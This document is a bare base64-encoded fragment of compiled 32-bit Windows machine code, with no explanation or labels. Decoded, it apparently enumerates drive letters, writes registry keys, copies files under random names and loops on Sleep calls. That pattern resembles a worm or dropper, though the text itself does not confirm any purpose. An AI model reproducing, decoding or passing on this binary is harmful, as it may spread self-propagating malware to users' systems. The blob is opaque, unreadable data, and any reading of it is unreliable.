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 g/gDfQ//dQho7DdJAOhsFgAAWVlqAVhdw/91COjT/f//hcBZdAQzwF3DM8A5RRAPlMBdw1WL 7IHsDAEAAICl9P7//wBTjYX0/v//aAQBAABQagFobQlBAOhP0///WVlQaFICQQBoAgAAgOiu 5P//jYX0/v//UOh5/f//D76F9P7//4qd9v7//1DobhkAAIPEHINl+ACIRf+KRfgEYTpF/3Q8 gKX2/v//AIiF9P7//42F9P7//1D/FczQQACD+AOInfb+//91F/91CI2F9P7//2iuYEAAUOhv 3f//g8QM/0X4g334GnyxM8BbycIEAFZohQlBAP90JBDogRUAAIt0JBBW6GcWAACDxAwzyYXA fguAPDFAdAVBO8h89Ug7yHwEM8Bew41EMQFQ/3QkEOhcFQAAWVlqAVhew1WL7IHsFAIAAIA9 1DJJAABWD4SbAAAAgD3QMUkAAA+EjgAAAIN9EACLdQh0ElboA7b///91DFbo0sD//4PEDGpk aAABAABqGWjUMkkAjY3s/f//6NjJ//9qBGoKjUWcagNQ6L3U//+DxBCNRZyNjez9//9Q6DvO //+DxmSNjez9//9W6OrO//9o0DFJAI2N7P3//+gxzv//jY3s/f//6MTK//+FwHQQjY3s/f// 6FDK//8zwF7Jw/91DOh2FQAAWVCNjez9////dQzo9Mr//42N7P3//4vw6CbK//8zwIX2D5TA 689Vi+yB7BgDAABWi3UIjYXo/P//UFbotv7//1mFwFl1BzPA6boAAACDfRAAdBJW6B61//// dQxW6O2///+DxAxqZGgAAQAAjYXo/P//ahlQjY3s/f//6PHI//9qBGoKjUWcagNQ6NbT//+D xBCNRZyNjez9//9Q6FTN//+NRmSNjez9//9Q6APO//9WjY3s/f//6E7N//+Njez9///o4cn/ /4XAdBCNjez9///obcn//+lr/////3UM6JMUAABZUI2N7P3///91DOgRyv//jY3s/f//i/Do Q8n//zPAhfYPlMBeycNVi+yB7AAIAACApQD4//8AgKUA/P//AI2FAPj//1D/dQjoxv3//42F APz//1D/dQzot/3//42FAPz//1CNhQD4//9Q6ARlAACDxBj32BvAQMnDg+wQVVZXg0wkGP+9 ABAAAGoBVb7U8EAA/3QkKDP/iXwkIFbops///4PEEIXAD4XvAAAAV1boTtD//1k7x1mJRCQQ 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 